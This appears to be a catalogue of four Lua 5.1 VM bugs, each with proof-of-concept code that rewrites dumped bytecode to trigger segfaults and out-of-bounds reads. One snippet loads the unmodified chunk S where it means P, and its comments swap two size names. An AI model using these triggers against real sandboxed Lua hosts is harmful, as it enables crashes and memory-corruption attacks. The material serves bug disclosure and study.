1. Causing the currently running function to be garbage collected
    By using bytecode manipulation, a function's upvalues can point to all instances of that function (i.e. the local in which it is stored, and the stack slot it is placed in while being called), and thus cause them all to become nil. If the function then forces a GC cycle, then it will be collected while still running, leading to a segfault:
function Evil()
  local Experimental, _2
  
  Experimental = function()
    -- Erase all references in the stack to
    -- this (currently running) function:
    Experimental = nil
    _2 = nil -- (this line only does so after bytecode manipulation)
    
    -- Do some cycles of garbage collection to free ourselves, and
    -- some allocations to try and overwrite the memory:
    for i = 1, 10 do
      collectgarbage "collect"
      alloc()
    end
    
    -- A segfault will probably now have occured
  end
  
  Experimental()
end

-- Do some bytecode manipulation of the Evil function:
Es = ('').dump(Evil)
Es = Es:gsub("(\36..."      -- OP_CLOSURE
          .. "%z%z%z%z"     -- Use local 0 as upvalue 0
          .. "%z%z)\128%z"  -- Use local 1 as upvalue 1
          ,
             "%1\0\1")      -- OP_CLOSURE, using locals 0 and 2 as
                            -- upvalues 0 and 1 (local 0 is the
                            -- Experimental function, local 2 is 
                            -- where the function is placed for the
                            -- call)
Evil = loadstring(Es)

-- Function to trash some memory:
function alloc()
  local t = {}
  for i = 1, 100 do
    t[i] = i
  end
end

-- Run the evil:
Evil()
  1. Accessing other function's locals
    The VM call instruction is traditionally done at the top of the stack. However, through bytecode manipulation, it can be done in the middle of the stack, and then after the call is complete, any locals used by the called function will be left at the top of the stack. If a C function was called, then its locals could be used to cause a segfault:
-- Define a Lua function which calls a 'complex' C function
function X()
  io.close()
end

--[[
  X currently looks something like this:
    (2 locals, 2 constants)
    GETGLOBAL "io"
    GETTABLE  "close"
    CALL register 0
    RETURN nothing   
--]]

-- Make some modifications to X
Xs = string.dump(X)
Xs = Xs:gsub("\2(\4%z%z%z)","\20%1")
  -- num locals, num instructions; 2, 4 -> 20, 4
Xs = Xs:gsub("\30%z\128%z","\30\0\0\8")
  -- return nothing -> return all locals
X = assert(loadstring(Xs))

--[[
  X now looks something like:
    (20 locals, 2 constants)
    GETGLOBAL "io"
    GETTABLE  "close"
    CALL register 0
    RETURN registers 0 through 16
    
  Calling X now returns some of what io.close
  left on the stack when it returned!!!
--]]

-- Take the io environment table, and remove the __close method
select(3, X()).__close = nil

--[[
  Call io.close again, within which, these two
  lines cause a segfault:
   lua_getfield(L, -1, "__close");
   return (lua_tocfunction(L, -1))(L);
--]]
X()
  1. Upvalue name array is assumed to be either complete, or absent
    Through bytecode manipulation, an incomplete upvalue name array can be present, which can then lead to a segfault when the interpreter tries to access an element of the array which is not present:
-- Configure these parameters for your environment
sizeof_int = 4    -- sizeof(size_t) in C
sizeof_size_t = 4 -- sizeof(int) in C
endian = "small"  -- "small" or "big"

-- do ... end block so that the locals are used if this is typed 
-- line by line into the interpreter
do
  -- define some locals to be used as upvalues
  local a, b, c
  -- define a function using upvalues
  function F()
    -- Make sure that upvalues #1 through #2 refer to a, b and c
    local _ = {a, b, c}
    -- This line will generate an error referring to upvalue #3
    return c[b][a]
  end
end

-- Convert function F to it's binary form
-- (the values of the upvalues are not dumped)
S = string.dump(F)

-- Remove the upvalue names of upvalues #2 and #3 from the 
-- debug information
if endian == "small" then
  -- We need at-least one upvalue name, or else the upvalue name 
  -- array will be of zero length and thus be NULL (lua allocator
  -- must return NULL when nsize == 0). Thus reduce the upvalue
  -- name array to a single entry.
  P = S:gsub("\3".. ("%z"):rep(sizeof_int - 1) ..
              -- Number of upvalue names (3)
             "\2".. ("%z"):rep(sizeof_size_t - 1) ..".%z"..
              -- Name of upvalue #1 (length 2, "a\0")
             "\2".. ("%z"):rep(sizeof_size_t - 1) ..".%z"
              -- Name of upvalue #2 (length 2, "b\0")
             ,
             "\1".. ("\0"):rep(sizeof_int - 1)
              -- Number of upvalue names (1)
            )
else
  -- Same as previous code, but for big-endian integers
  P = S:gsub(("%z"):rep(sizeof_int - 1) .."\3"..
             ("%z"):rep(sizeof_size_t - 1) .."\2.%z"..
             ("%z"):rep(sizeof_size_t - 1) .."\2.%z"
             ,
             ("\0"):rep(sizeof_int - 1) .. "\1"
            )
end

-- Load the modified binary
M = assert(loadstring(S))

-- Execute the modified function
-- This should cause the error "attempt to index upvalue 'c' (a 
-- nil value)". However, as the name of upvalue #3 is no longer
-- in the upvalue name array, when the VM goes to generate the
-- error message, it references past the end of the upvalue name
-- array, leading to a segfault
M()
  1. LoadString()'s return value is not always checked for NULL
    When loading a string in a binary chunk, LoadString returns NULL for zero-length strings (all string constants contain a null-terminator, and are therefore at least length 1), which in one case is not checked for and leads to a segfault:
loadstring(
  ('').dump(function()X''end)
  :gsub('\2%z%z%zX','\0\0\0')
)()